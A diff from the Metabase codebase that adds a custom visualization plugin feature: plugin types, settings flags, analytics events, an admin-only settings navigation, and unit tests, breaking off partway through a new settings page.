diff --git a/enterprise/frontend/src/metabase-enterprise/static-viz-overrides.ts b/enterprise/frontend/src/metabase-enterprise/static-viz-overrides.ts
index f04532c2ae7..6b376912b85 100644
--- a/enterprise/frontend/src/metabase-enterprise/static-viz-overrides.ts
+++ b/enterprise/frontend/src/metabase-enterprise/static-viz-overrides.ts
@@ -1,6 +1,8 @@
+import { initializePlugin as initializeCustomVizPlugin } from "./custom_viz";
import { applyWhitelabelOverride } from "./whitelabel/static-viz-overrides";
// eslint-disable-next-line import/no-default-export -- deprecated usage
export default function apply() {
applyWhitelabelOverride();
+ initializeCustomVizPlugin();
}
diff --git a/eslint.config.mjs b/eslint.config.mjs
index 1f692315fe9..a4bedf33bc8 100644
--- a/eslint.config.mjs
+++ b/eslint.config.mjs
@@ -75,10 +75,13 @@ const configs = [
ignores: [
"frontend/src/cljs/**",
"frontend/src/cljs_release/**",
+ "**/*.d.ts",
"e2e/support/cypress_sample_database.js",
"e2e/support/cypress_sample_instance_data.js",
+ "e2e/support/assets/**",
"e2e/embedding-sdk-host-apps/**",
- "frontend/src/metabase-types/openapi/types.gen.ts",
+ "e2e/tmp/**",
+ "frontend/test/__support__/custom-viz-fixtures/**/*.js",
"node_modules/**",
"**/dist/**",
"**/target/**",
@@ -968,6 +971,23 @@ const configs = [
],
},
},
+ {
+ files: ["frontend/**/*.{ts,tsx}"],
+ rules: {
+ "@typescript-eslint/no-restricted-imports": [
+ "error",
+ {
+ paths: [
+ {
+ name: "custom-viz",
+ allowTypeImports: true,
+ message: "Please use only type-only imports from 'custom-viz'.",
+ },
+ ],
+ },
+ ],
+ },
+ },
{
files: ["enterprise/frontend/src/embedding-sdk-package/bin/**/*"],
rules: {
@@ -983,6 +1003,13 @@ const configs = [
"no-console": "off",
},
},
+ {
+ files: ["enterprise/frontend/src/custom-viz/src/templates/index.tsx"],
+ rules: {
+ "import/no-default-export": "off",
+ "metabase/no-color-literals": "off",
+ },
+ },
{
files: ["docs/**/snippets/**/*.{ts,tsx,js,jsx}"],
rules: {
diff --git a/frontend/src/embedding-sdk-bundle/components/private/SdkQuestion/hooks/use-sensible-visualizations.ts b/frontend/src/embedding-sdk-bundle/components/private/SdkQuestion/hooks/use-sensible-visualizations.ts
index 82d550f0b87..c49f381bf1d 100644
--- a/frontend/src/embedding-sdk-bundle/components/private/SdkQuestion/hooks/use-sensible-visualizations.ts
+++ b/frontend/src/embedding-sdk-bundle/components/private/SdkQuestion/hooks/use-sensible-visualizations.ts
@@ -1,6 +1,7 @@
import { useMemo, useRef } from "react";
import { getSensibleVisualizations } from "metabase/query_builder/components/chart-type-selector";
+import type { CardDisplayType } from "metabase-types/api";
import { useSdkQuestionContext } from "../context";
@@ -16,8 +17,9 @@ export const useSensibleVisualizations = () => {
[],
);
+ // SDK doesn't support custom viz plugins, so we safely narrow the type here.
return {
- sensibleVisualizations,
- nonSensibleVisualizations,
+ sensibleVisualizations: sensibleVisualizations as CardDisplayType[],
+ nonSensibleVisualizations: nonSensibleVisualizations as CardDisplayType[],
};
};
diff --git a/frontend/src/metabase-lib/v1/types/utils/custom-viz-column-types.ts b/frontend/src/metabase-lib/v1/types/utils/custom-viz-column-types.ts
new file mode 100644
index 00000000000..de9199f13a4
--- /dev/null
+++ b/frontend/src/metabase-lib/v1/types/utils/custom-viz-column-types.ts
@@ -0,0 +1,79 @@
+import type { ColumnTypes } from "custom-viz";
+
+import {
+ hasLatitudeAndLongitudeColumns,
+ isAddress,
+ isAny,
+ isAvatarURL,
+ isBoolean,
+ isCategory,
+ isCoordinate,
+ isCountry,
+ isCurrency,
+ isDate,
+ isDateWithoutTime,
+ isEmail,
+ isEntityName,
+ isFK,
+ isFloat,
+ isID,
+ isImageURL,
+ isInteger,
+ isLatitude,
+ isLongitude,
+ isNumber,
+ isNumeric,
+ isNumericBaseType,
+ isPK,
+ isPercentage,
+ isProduct,
+ isQuantity,
+ isScore,
+ isSource,
+ isState,
+ isString,
+ isStringLike,
+ isSummable,
+ isTime,
+ isTitle,
+ isURL,
+} from "./isa";
+
+export const customVizColumnTypes: ColumnTypes = {
+ hasLatitudeAndLongitudeColumns,
+ isAddress,
+ isAny,
+ isAvatarURL,
+ isBoolean,
+ isCategory,
+ isCoordinate,
+ isCountry,
+ isCurrency,
+ isDate,
+ isDateWithoutTime,
+ isEmail,
+ isEntityName,
+ isFK,
+ isFloat,
+ isID,
+ isImageURL,
+ isInteger,
+ isLatitude,
+ isLongitude,
+ isNumber,
+ isNumeric,
+ isNumericBaseType,
+ isPK,
+ isPercentage,
+ isProduct,
+ isQuantity,
+ isScore,
+ isSource,
+ isState,
+ isString,
+ isStringLike,
+ isSummable,
+ isTime,
+ isTitle,
+ isURL,
+};
diff --git a/frontend/src/metabase-types/analytics/event.ts b/frontend/src/metabase-types/analytics/event.ts
index a57bec3d2d0..5d40f50be92 100644
--- a/frontend/src/metabase-types/analytics/event.ts
+++ b/frontend/src/metabase-types/analytics/event.ts
@@ -6,3 +6,43 @@ export type SimpleEventSchema = {
result?: string | null;
event_detail?: string | null;
};
+
+type ValidateEvent<
+ T extends SimpleEventSchema &
+ Record<Exclude<keyof T, keyof SimpleEventSchema>, never>,
+> = T;
+
+export type CustomVizPluginCreatedEvent = ValidateEvent<{
+ event: "custom_viz_plugin_created";
+ result: "success" | "failure";
+}>;
+
+export type CustomVizPluginUpdatedEvent = ValidateEvent<{
+ event: "custom_viz_plugin_updated";
+ result: "success" | "failure";
+}>;
+
+export type CustomVizPluginDeletedEvent = ValidateEvent<{
+ event: "custom_viz_plugin_deleted";
+}>;
+
+export type CustomVizPluginToggledEvent = ValidateEvent<{
+ event: "custom_viz_plugin_toggled";
+ event_detail: "enabled" | "disabled";
+}>;
+
+export type CustomVizPluginRefreshedEvent = ValidateEvent<{
+ event: "custom_viz_plugin_refreshed";
+}>;
+
+export type CustomVizSelectedEvent = ValidateEvent<{
+ event: "custom_viz_selected";
+}>;
+
+export type CustomVizEvent =
+ | CustomVizPluginCreatedEvent
+ | CustomVizPluginUpdatedEvent
+ | CustomVizPluginDeletedEvent
+ | CustomVizPluginToggledEvent
+ | CustomVizPluginRefreshedEvent
+ | CustomVizSelectedEvent;
diff --git a/frontend/src/metabase-types/api/advanced-permission.ts b/frontend/src/metabase-types/api/advanced-permission.ts
new file mode 100644
index 00000000000..1d95f94b481
--- /dev/null
+++ b/frontend/src/metabase-types/api/advanced-permission.ts
@@ -0,0 +1,18 @@
+import type { GroupId } from "./group";
+
+export type AdvancedPermissionValue = "yes" | "no";
+
+export type AdvancedPermissionsGraphRevision = number;
+
+export type AdvancedPermissions = {
+ monitoring?: AdvancedPermissionValue;
+ setting?: AdvancedPermissionValue;
+ subscription?: AdvancedPermissionValue;
+};
+
+export type AdvancedPermissionsGroups = Record<GroupId, AdvancedPermissions>;
+
+export type AdvancedPermissionsGraph = {
+ groups: AdvancedPermissionsGroups;
+ revision: AdvancedPermissionsGraphRevision;
+};
diff --git a/frontend/src/metabase-types/api/card.ts b/frontend/src/metabase-types/api/card.ts
index 41f1c027d61..2273749a14e 100644
--- a/frontend/src/metabase-types/api/card.ts
+++ b/frontend/src/metabase-types/api/card.ts
@@ -11,6 +11,7 @@ import type { Collection, CollectionId, LastEditInfo } from "./collection";
import type {
DashCardId,
Dashboard,
+ DashboardCardSize,
DashboardId,
DashboardTabId,
} from "./dashboard";
@@ -429,6 +430,7 @@ export interface CreateCardRequest {
collection_position?: number | null;
result_metadata?: Field[] | null;
cache_ttl?: number | null;
+ size?: DashboardCardSize;
}
export interface CreateCardFromCsvRequest {
diff --git a/frontend/src/metabase-types/api/custom-viz-plugin.ts b/frontend/src/metabase-types/api/custom-viz-plugin.ts
new file mode 100644
index 00000000000..d6b9ac33c01
--- /dev/null
+++ b/frontend/src/metabase-types/api/custom-viz-plugin.ts
@@ -0,0 +1,56 @@
+export interface CustomVizPluginManifest {
+ name?: string;
+ icon?: string;
+ metabase?: {
+ version?: string;
+ };
+ assets?: string[];
+}
+
+export type CustomVizPluginId = number;
+
+export interface CustomVizPlugin {
+ id: CustomVizPluginId;
+ display_name: string;
+ identifier: string;
+ status: "pending" | "active" | "error";
+ enabled: boolean;
+ icon: string | null;
+ error_message: string | null;
+ bundle_hash?: string | null;
+ dev_bundle_url?: string | null;
+ dev_only: boolean;
+ manifest?: CustomVizPluginManifest | null;
+ metabase_version?: string | null;
+ created_at: string;
+ updated_at: string;
+}
+
+export interface CustomVizPluginRuntime {
+ id: CustomVizPluginId;
+ identifier: string;
+ display_name: string;
+ icon: string | null;
+ bundle_url: string;
+ bundle_hash?: string | null;
+ dev_bundle_url?: string | null;
+ manifest?: CustomVizPluginManifest | null;
+}
+
+export interface CreateCustomVizPluginRequest {
+ file: File;
+}
+
+export interface CreateDevCustomVizPluginRequest {
+ dev_bundle_url: string;
+}
+
+export interface UpdateCustomVizPluginRequest {
+ id: CustomVizPluginId;
+ enabled?: boolean;
+}
+
+export interface ReplaceCustomVizPluginBundleRequest {
+ id: CustomVizPluginId;
+ file: File;
+}
diff --git a/frontend/src/metabase-types/api/dashboard.ts b/frontend/src/metabase-types/api/dashboard.ts
index 8b2dbbafb5f..1690caff3af 100644
--- a/frontend/src/metabase-types/api/dashboard.ts
+++ b/frontend/src/metabase-types/api/dashboard.ts
@@ -138,6 +138,15 @@ export type DashboardCardLayoutAttrs = {
size_y: number;
};
+export type DashboardCardPosition = Pick<
+ DashboardCardLayoutAttrs,
+ "col" | "row"
+>;
+export type DashboardCardSize = Pick<
+ DashboardCardLayoutAttrs,
+ "size_x" | "size_y"
+>;
+
export type DashCardVisualizationSettings = {
[key: string]: unknown;
virtual_card?: VirtualCard;
diff --git a/frontend/src/metabase-types/api/group.ts b/frontend/src/metabase-types/api/group.ts
index 027ebaaacb1..1d2a67a653c 100644
--- a/frontend/src/metabase-types/api/group.ts
+++ b/frontend/src/metabase-types/api/group.ts
@@ -1,17 +1,17 @@
-import type { User } from "./user";
+import type { UserId } from "./user";
export type GroupId = number;
export type Membership = {
- user_id: number;
- group_id: number;
+ user_id: UserId;
+ group_id: GroupId;
membership_id: number;
is_group_manager?: boolean;
};
export type Member = {
- user_id: number;
- group_id: number;
+ user_id: UserId;
+ group_id: GroupId;
membership_id: number;
email: string;
first_name: string;
@@ -45,9 +45,9 @@ export type BaseGroupInfo = {
is_tenant_group?: boolean;
};
-export type ListUserMembershipsResponse = Record<User["id"], Membership[]>;
+export type ListUserMembershipsResponse = Record<UserId, Membership[]>;
export type CreateMembershipRequest = {
- user_id: User["id"];
+ user_id: UserId;
group_id: GroupId;
};
diff --git a/frontend/src/metabase-types/api/index.ts b/frontend/src/metabase-types/api/index.ts
index 899947faaf2..0b81cd066f7 100644
--- a/frontend/src/metabase-types/api/index.ts
+++ b/frontend/src/metabase-types/api/index.ts
@@ -1,6 +1,7 @@
export * from "./actions";
export * from "./activity";
export * from "./admin";
+export * from "./advanced-permission";
export * from "./ai-entity-analysis";
export * from "./alert";
export * from "./autocomplete";
@@ -13,6 +14,7 @@ export * from "./cloud-add-ons";
export * from "./collection";
export * from "./comments";
export * from "./content-translation";
+export * from "./custom-viz-plugin";
export * from "./dashboard";
export * from "./database";
export * from "./dataset";
@@ -22,7 +24,6 @@ export * from "./email";
export * from "./embedding-theme";
export * from "./entity-id";
export * from "./field";
-export * from "./metric";
export * from "./geojson";
export * from "./group";
export * from "./insight";
@@ -30,6 +31,7 @@ export * from "./llm";
export * from "./logger";
export * from "./measure";
export * from "./metabot";
+export * from "./metric";
export * from "./modelIndexes";
export * from "./models";
export * from "./moderation";
@@ -41,8 +43,8 @@ export * from "./performance";
export * from "./permissions";
export * from "./persist";
export * from "./query";
-export * from "./replacement";
export * from "./remote-sync";
+export * from "./replacement";
export * from "./revision";
export * from "./schema";
export * from "./search";
diff --git a/frontend/src/metabase-types/api/mocks/settings.ts b/frontend/src/metabase-types/api/mocks/settings.ts
index 459fe0022df..4efa87af522 100644
--- a/frontend/src/metabase-types/api/mocks/settings.ts
+++ b/frontend/src/metabase-types/api/mocks/settings.ts
@@ -106,6 +106,8 @@ export const createMockTokenFeatures = (
cloud_custom_smtp: false,
content_translation: false,
content_verification: false,
+ "custom-viz": false,
+ "custom-viz-available": false,
"data-complexity-score": false,
embedding: false,
embedding_sdk: false,
@@ -171,6 +173,8 @@ export const createMockSettings = (
"analytics-uuid": "eefb3320-1d3f-4686-a22a-1d30ae729525",
"admin-email": "[email protected]",
"airgap-enabled": false,
+ "custom-viz-enabled": false,
+ "custom-viz-plugin-dev-mode-enabled": false,
"allowed-iframe-hosts": "*",
"anon-tracking-enabled": false,
"application-colors": {},
diff --git a/frontend/src/metabase-types/api/settings.ts b/frontend/src/metabase-types/api/settings.ts
index f21775f9c23..2b9643d772a 100644
--- a/frontend/src/metabase-types/api/settings.ts
+++ b/frontend/src/metabase-types/api/settings.ts
@@ -333,6 +333,8 @@ export const tokenFeatures = [
"cloud_custom_smtp",
"content_translation",
"content_verification",
+ "custom-viz",
+ "custom-viz-available",
"data-complexity-score",
"disable_password_login",
"embedding",
@@ -639,6 +641,8 @@ interface PublicSettings {
version: Version;
"version-info-last-checked": string | null;
"airgap-enabled": boolean;
+ "custom-viz-enabled": boolean;
+ "custom-viz-plugin-dev-mode-enabled": boolean;
"non-table-chart-generated": boolean;
"use-tenants": boolean;
}
diff --git a/frontend/src/metabase-types/api/visualization.ts b/frontend/src/metabase-types/api/visualization.ts
index a9da2775190..c7275785587 100644
--- a/frontend/src/metabase-types/api/visualization.ts
+++ b/frontend/src/metabase-types/api/visualization.ts
@@ -44,7 +44,15 @@ export const isCardDisplayType = (value: unknown): value is CardDisplayType =>
export type CardDisplayType = (typeof cardDisplayTypes)[number];
-export type VisualizationDisplay = VirtualCardDisplay | CardDisplayType;
+export type CustomVizDisplayType = `custom:${string}`;
+
+export type QueryVisualizationDisplayType =
+ | CardDisplayType
+ | CustomVizDisplayType;
+
+export type VisualizationDisplay =
+ | VirtualCardDisplay
+ | QueryVisualizationDisplayType;
export type TimeseriesDisplayType = Extract<
CardDisplayType,
diff --git a/frontend/src/metabase-types/guards/visualization.ts b/frontend/src/metabase-types/guards/visualization.ts
index e4401e5d835..66732f186f1 100644
--- a/frontend/src/metabase-types/guards/visualization.ts
+++ b/frontend/src/metabase-types/guards/visualization.ts
@@ -1,3 +1,5 @@
+import type { CustomVizDisplayType } from "metabase-types/api";
+
import { isObject } from "./common";
export function isObjectWithRaw<T>(
@@ -5,3 +7,8 @@ export function isObjectWithRaw<T>(
): object is T & { _raw: T | undefined } {
return isObject(object) && "_raw" in object;
}
+
+export const isCustomVizDisplay = (
+ value: unknown,
+): value is CustomVizDisplayType =>
+ typeof value === "string" && value.startsWith("custom:");
diff --git a/frontend/src/metabase/admin/ai/MetabotSettingsPanel.tsx b/frontend/src/metabase/admin/ai/MetabotSettingsPanel.tsx
old mode 100644
new mode 100755
index 635ba940a56..d4fe720d36e
--- a/frontend/src/metabase/admin/ai/MetabotSettingsPanel.tsx
+++ b/frontend/src/metabase/admin/ai/MetabotSettingsPanel.tsx
@@ -14,7 +14,7 @@ import { canonicalCollectionId } from "metabase/collections/utils";
import { LoadingAndErrorWrapper } from "metabase/common/components/LoadingAndErrorWrapper";
import { CollectionPickerModal } from "metabase/common/components/Pickers/CollectionPicker";
import { useToast } from "metabase/common/hooks";
-import { getIcon } from "metabase/common/utils/icon";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { FIXED_METABOT_ENTITY_IDS } from "metabase/metabot/constants";
import { PLUGIN_MODERATION } from "metabase/plugins";
import {
@@ -256,6 +256,7 @@ const CollectionDisplay = ({
}: {
collection: CollectionEssentials;
}) => {
+ const getIcon = useGetIcon();
const icon = getIcon({ model: "collection", ...collection });
return (
<Flex align="center" gap="sm">
diff --git a/frontend/src/metabase/admin/ai/MetabotSettingsPanel.unit.spec.tsx b/frontend/src/metabase/admin/ai/MetabotSettingsPanel.unit.spec.tsx
index b5688fd4838..a01adfdc3fa 100644
--- a/frontend/src/metabase/admin/ai/MetabotSettingsPanel.unit.spec.tsx
+++ b/frontend/src/metabase/admin/ai/MetabotSettingsPanel.unit.spec.tsx
@@ -6,6 +6,7 @@ import {
findRequests,
setupCollectionByIdEndpoint,
setupCollectionsEndpoints,
+ setupCustomVizPluginListEndpoint,
setupPropertiesEndpoints,
setupRecentViewsAndSelectionsEndpoints,
setupRootCollectionItemsEndpoint,
@@ -147,6 +148,7 @@ const setupEmbeddingPlugin = () => {
}),
});
setupEnterprisePlugins();
+ setupCustomVizPluginListEndpoint([]);
};
const setupContentVerificationPlugin = () => {
diff --git a/frontend/src/metabase/admin/routes.tsx b/frontend/src/metabase/admin/routes.tsx
index a2456822d2f..afd9e3612ff 100644
--- a/frontend/src/metabase/admin/routes.tsx
+++ b/frontend/src/metabase/admin/routes.tsx
@@ -1,3 +1,4 @@
+import type { Store } from "@reduxjs/toolkit";
import { Fragment } from "react";
import {
IndexRedirect,
@@ -81,7 +82,7 @@ import {
} from "./utils";
export const getRoutes = (
- store: { getState: () => State },
+ store: Store<State>,
CanAccessSettings: RouteComponent,
IsAdmin: RouteComponent,
) => {
@@ -242,7 +243,7 @@ export const getRoutes = (
{/* SETTINGS */}
<Route path="settings" component={createAdminRouteGuard("settings")}>
- {getSettingsRoutes()}
+ {getSettingsRoutes(store, IsAdmin)}
</Route>
{/* PERMISSIONS */}
<Route path="permissions" component={IsAdmin}>
diff --git a/frontend/src/metabase/admin/settings/components/SettingsNav/CustomVisualizationsNav.tsx b/frontend/src/metabase/admin/settings/components/SettingsNav/CustomVisualizationsNav.tsx
new file mode 100644
index 00000000000..8498fab812a
--- /dev/null
+++ b/frontend/src/metabase/admin/settings/components/SettingsNav/CustomVisualizationsNav.tsx
@@ -0,0 +1,54 @@
+import { t } from "ttag";
+
+import { UpsellGem } from "metabase/common/components/upsells/components";
+import { useHasTokenFeature, useSetting } from "metabase/common/hooks";
+import { useSelector } from "metabase/redux";
+import { getLocation } from "metabase/selectors/routing";
+import { Flex } from "metabase/ui";
+import * as Urls from "metabase/urls";
+
+import { SettingsNavItem } from "./SettingsNavItem";
+
+export const CustomVisualizationsNav = () => {
+ const hasCustomVizAvailable = useHasTokenFeature("custom-viz-available");
+ const customVizDevModeEnabled = useSetting(
+ "custom-viz-plugin-dev-mode-enabled",
+ );
+
+ const pathname = useSelector(getLocation).pathname;
+ const hasSubNav = hasCustomVizAvailable && customVizDevModeEnabled;
+ const isManageVisualizationsActive =
+ pathname.startsWith(Urls.customVizAdd()) ||
+ pathname.startsWith(Urls.customVizEdit(undefined));
+
+ return (
+ <SettingsNavItem
+ active={isManageVisualizationsActive && !hasSubNav ? true : undefined}
+ path={hasSubNav ? undefined : "custom-visualizations"}
+ folderPattern="custom-visualizations"
+ label={
+ <Flex gap="sm" align="center">
+ <span>{t`Custom visualizations`}</span>
+ {!hasCustomVizAvailable && <UpsellGem />}
+ </Flex>
+ }
+ icon="bar"
+ >
+ {hasSubNav && (
+ <>
+ <SettingsNavItem
+ key="manage"
+ path="custom-visualizations"
+ active={isManageVisualizationsActive ? true : undefined}
+ label={t`Manage visualizations`}
+ />
+ <SettingsNavItem
+ key="dev"
+ path="custom-visualizations/development"
+ label={t`Development`}
+ />
+ </>
+ )}
+ </SettingsNavItem>
+ );
+};
diff --git a/frontend/src/metabase/admin/settings/components/SettingsNav/SettingsNav.tsx b/frontend/src/metabase/admin/settings/components/SettingsNav/SettingsNav.tsx
index 515eb43e7da..18ff2d4c8fc 100644
--- a/frontend/src/metabase/admin/settings/components/SettingsNav/SettingsNav.tsx
+++ b/frontend/src/metabase/admin/settings/components/SettingsNav/SettingsNav.tsx
@@ -1,19 +1,15 @@
-import { useDisclosure } from "@mantine/hooks";
-import React, { type ReactElement } from "react";
import { t } from "ttag";
-import {
- AdminNavItem,
- type AdminNavItemProps,
- AdminNavWrapper,
-} from "metabase/admin/components/AdminNav";
+import { AdminNavWrapper } from "metabase/admin/components/AdminNav";
import { UpsellGem } from "metabase/common/components/upsells/components/UpsellGem";
import { useHasTokenFeature, useSetting } from "metabase/common/hooks";
import { PLUGIN_REMOTE_SYNC } from "metabase/plugins";
import { useSelector } from "metabase/redux";
-import { getLocation } from "metabase/selectors/routing";
+import { getUserIsAdmin } from "metabase/selectors/user";
import { Divider, Flex } from "metabase/ui";
+import { CustomVisualizationsNav } from "./CustomVisualizationsNav";
+import { SettingsNavItem } from "./SettingsNavItem";
import { UpdatesNavItem } from "./UpdatesNavItem";
const NavDivider = () => <Divider my="sm" />;
@@ -27,6 +23,7 @@ export function SettingsNav() {
const hasScim = useHasTokenFeature("scim");
const hasPythonTransforms = useHasTokenFeature("transforms-python");
const isHosted = useSetting("is-hosted?");
+ const isAdmin = useSelector(getUserIsAdmin);
return (
<AdminNavWrapper>
@@ -62,6 +59,8 @@ export function SettingsNav() {
label={t`Localization`}
icon="globe"
/>
+ {/* do not allow users with "Settings access" permissions to access custom viz pages */}
+ {isAdmin && <CustomVisualizationsNav />}
<SettingsNavItem path="maps" label={t`Maps`} icon="pinmap" />
<SettingsNavItem
path={!hasWhitelabel ? "whitelabel" : undefined}
@@ -118,39 +117,3 @@ export function SettingsNav() {
</AdminNavWrapper>
);
}
-
-const hasActiveChild = (children: ReactElement[], pathname: string) =>
- children.length > 0 &&
- children.some(
- (child) => child?.props?.path && pathname.includes(child.props.path),
- );
-
-export function SettingsNavItem({
- path,
- folderPattern,
- ...navItemProps
-}: AdminNavItemProps) {
- const children = React.Children.toArray(
- navItemProps.children,
- ) as ReactElement[];
- const currentPath: string = useSelector(getLocation)?.pathname ?? "";
- const [isOpen, { toggle: toggleOpen }] = useDisclosure(
- folderPattern ? currentPath.includes(folderPattern) : false,
- );
-
- const showActive =
- (!isOpen && hasActiveChild(children, currentPath)) ||
- currentPath === `/admin/settings/${path}`;
-
- return (
- <AdminNavItem
- data-testid={`settings-sidebar-link`}
- path={path ? `/admin/settings/${path}` : ""}
- folderPattern={folderPattern}
- opened={isOpen}
- active={showActive}
- onClick={toggleOpen}
- {...navItemProps}
- />
- );
-}
diff --git a/frontend/src/metabase/admin/settings/components/SettingsNav/SettingsNav.unit.spec.tsx b/frontend/src/metabase/admin/settings/components/SettingsNav/SettingsNav.unit.spec.tsx
index 111b6db63e3..3a855ae401d 100644
--- a/frontend/src/metabase/admin/settings/components/SettingsNav/SettingsNav.unit.spec.tsx
+++ b/frontend/src/metabase/admin/settings/components/SettingsNav/SettingsNav.unit.spec.tsx
@@ -11,6 +11,7 @@ import {
import {
createMockSettings,
createMockTokenFeatures,
+ createMockUser,
createMockVersionInfo,
} from "metabase-types/api/mocks";
@@ -19,15 +20,20 @@ import { SettingsNav } from "./SettingsNav";
const setup = async ({
initialRoute,
isHosted,
+ customVizDevModeEnabled,
}: {
initialRoute: string;
isHosted?: boolean;
+ customVizDevModeEnabled?: boolean;
}) => {
const versionInfo = createMockVersionInfo();
const settings = createMockSettings({
"version-info": versionInfo,
+ "custom-viz-plugin-dev-mode-enabled": Boolean(customVizDevModeEnabled),
"token-features": createMockTokenFeatures({
hosting: Boolean(isHosted),
+ "custom-viz": true,
+ "custom-viz-available": true,
}),
});
@@ -40,6 +46,7 @@ const setup = async ({
withRouter: true,
initialRoute,
storeInitialState: {
+ currentUser: createMockUser({ is_superuser: true }),
routing: createMockRoutingState({
locationBeforeTransitions: createMockLocation({
pathname: initialRoute,
@@ -123,4 +130,33 @@ describe("SettingsNav", () => {
await setup({ initialRoute: "/admin/settings/general", isHosted: true });
expect(screen.queryByText("Updates")).not.toBeInTheDocument();
});
+
+ it("should show Development nav item when custom viz dev mode is enabled", async () => {
+ await setup({
+ initialRoute: "/admin/settings/custom-visualizations",
+ customVizDevModeEnabled: true,
+ });
+
+ const customVizNavItem = await screen.findByRole("link", {
+ name: /Custom visualizations/,
+ });
+ await userEvent.click(customVizNavItem);
+
+ expect(screen.getByText("Development")).toBeInTheDocument();
+ });
+
+ it("should hide Development nav item when custom viz dev mode is disabled", async () => {
+ await setup({
+ initialRoute: "/admin/settings/custom-visualizations",
+ customVizDevModeEnabled: false,
+ });
+
+ const customVizNavItem = await screen.findByRole("link", {
+ name: /Custom visualizations/,
+ });
+ await userEvent.click(customVizNavItem);
+
+ expect(screen.queryByText("Manage visualizations")).not.toBeInTheDocument();
+ expect(screen.queryByText("Development")).not.toBeInTheDocument();
+ });
});
diff --git a/frontend/src/metabase/admin/settings/components/SettingsNav/SettingsNavItem.tsx b/frontend/src/metabase/admin/settings/components/SettingsNav/SettingsNavItem.tsx
new file mode 100644
index 00000000000..72e56eb37a1
--- /dev/null
+++ b/frontend/src/metabase/admin/settings/components/SettingsNav/SettingsNavItem.tsx
@@ -0,0 +1,81 @@
+import { useDisclosure } from "@mantine/hooks";
+import React, { type ReactElement } from "react";
+
+import {
+ AdminNavItem,
+ type AdminNavItemProps,
+} from "metabase/admin/components/AdminNav";
+import { useSelector } from "metabase/redux";
+import { getLocation } from "metabase/selectors/routing";
+
+/**
+ * Find the child whose path is the best (longest) prefix match for the current
+ * pathname, or null if no child matches at all. An exact match always wins.
+ */
+const findBestMatchingChild = (
+ children: ReactElement[],
+ pathname: string,
+): ReactElement | null => {
+ let best: ReactElement | null = null;
+ let bestLen = 0;
+
+ for (const child of children) {
+ const childPath = child?.props?.path as string | undefined;
+ if (!childPath) {
+ continue;
+ }
+ const full = `/admin/settings/${childPath}`;
+ if (pathname === full || pathname.startsWith(`${full}/`)) {
+ if (full.length > bestLen) {
+ best = child;
+ bestLen = full.length;
+ }
+ }
+ }
+
+ return best;
+};
+
+export function SettingsNavItem({
+ path,
+ folderPattern,
+ active: activeOverride,
+ children: childrenProp,
+ ...navItemProps
+}: AdminNavItemProps & { active?: boolean }) {
+ const children = React.Children.toArray(childrenProp) as ReactElement[];
+ const currentPath = useSelector(getLocation)?.pathname ?? "";
+ const [isOpen, { toggle: toggleOpen }] = useDisclosure(
+ folderPattern ? currentPath.includes(folderPattern) : false,
+ );
+
+ const bestChild = findBestMatchingChild(children, currentPath);
+ const hasActiveDescendant = bestChild != null;
+
+ const fullPath = `/admin/settings/${path}`;
+ const showActive =
+ activeOverride ??
+ ((!isOpen && hasActiveDescendant) || currentPath === fullPath);
+
+ return (
+ <AdminNavItem
+ data-testid={`settings-sidebar-link`}
+ path={path ? `/admin/settings/${path}` : ""}
+ folderPattern={folderPattern}
+ opened={isOpen}
+ active={showActive}
+ onClick={toggleOpen}
+ {...navItemProps}
+ >
+ {children.length > 0
+ ? children.map((child) =>
+ child?.props?.path
+ ? React.cloneElement(child, {
+ active: child === bestChild,
+ } as any)
+ : child,
+ )
+ : childrenProp}
+ </AdminNavItem>
+ );
+}
diff --git a/frontend/src/metabase/admin/settings/components/SettingsNav/UpdatesNavItem.tsx b/frontend/src/metabase/admin/settings/components/SettingsNav/UpdatesNavItem.tsx
index 01d5f9fcc35..2ab1d9613c3 100644
--- a/frontend/src/metabase/admin/settings/components/SettingsNav/UpdatesNavItem.tsx
+++ b/frontend/src/metabase/admin/settings/components/SettingsNav/UpdatesNavItem.tsx
@@ -6,7 +6,7 @@ import { useSelector } from "metabase/redux";
import { Indicator } from "metabase/ui";
import { newVersionAvailable } from "metabase/utils/version";
-import { SettingsNavItem } from "./SettingsNav";
+import { SettingsNavItem } from "./SettingsNavItem";
export function UpdatesNavItem() {
const { data: versionInfo } = useGetVersionInfoQuery();
diff --git a/frontend/src/metabase/admin/settings/components/SettingsNav/index.ts b/frontend/src/metabase/admin/settings/components/SettingsNav/index.ts
index 0e9a6f9b49c..670bc48a51e 100644
--- a/frontend/src/metabase/admin/settings/components/SettingsNav/index.ts
+++ b/frontend/src/metabase/admin/settings/components/SettingsNav/index.ts
@@ -1 +1,2 @@
export * from "./SettingsNav";
+export * from "./SettingsNavItem";
diff --git a/frontend/src/metabase/admin/settings/components/SettingsPages/CustomVisualizationsSettingsPage.tsx b/frontend/src/metabase/admin/settings/components/SettingsPages/CustomVisualizationsSettingsPage.tsx
new file mode 100644
index 00000000000..ebfc719d29d
--- /dev/null
+++ b/frontend/src/metabase/admin/settings/components/SettingsPages/CustomVisualizationsSettingsPage.tsx
@@ -0,0 +1,173 @@
+import { t } from "ttag";
+
+import { SettingsPageWrapper } from "metabase/admin/components/SettingsSection";
+import { UpsellCustomViz } from "metabase/admin/upsells";
+import { useAdminSetting } from "metabase/api/utils";
+import { useHasTokenFeature } from "metabase/common/hooks";
+import { useMetadataToasts } from "metabase/metadata/hooks";
+import { PLUGIN_CUSTOM_VIZ } from "metabase/plugins";
+import {
+ Button,
+ Card,
+ Group,
+ Icon,
+ type IconName,
+ Paper,
+ SimpleGrid,
+ Stack,
+ Text,
+ Title,
+} from "metabase/ui";
+
+export function CustomVisualizationsManagePage() {
+ const customVizLoaded = useHasTokenFeature("custom-viz");
+ const customVizAvailable = useHasTokenFeature("custom-viz-available");
+
+ if (!customVizAvailable) {
+ return (
+ <SettingsPageWrapper title={t`Custom visualizations`}>
+ <UpsellCustomViz location="settings-custom-viz" />
+ </SettingsPageWrapper>
+ );
+ }
+
+ if (!customVizLoaded) {
+ return <CustomVizEmptyState />;
+ }
+
+ return <PLUGIN_CUSTOM_VIZ.ManageCustomVizPage />;
+}
+
+export function CustomVisualizationsFormPage({
+ params,
+}: {
+ params?: { id?: string };
+}) {
+ const customVizFeatureLoaded = useHasTokenFeature("custom-viz");
+ const hasCustomVizAvailable = useHasTokenFeature("custom-viz-available");
+
+ if (!hasCustomVizAvailable) {
+ return (
+ <SettingsPageWrapper title={t`Custom visualizations`}>
+ <UpsellCustomViz location="settings-custom-viz" />
+ </SettingsPageWrapper>
+ );
+ }
+
+ if (!customVizFeatureLoaded) {
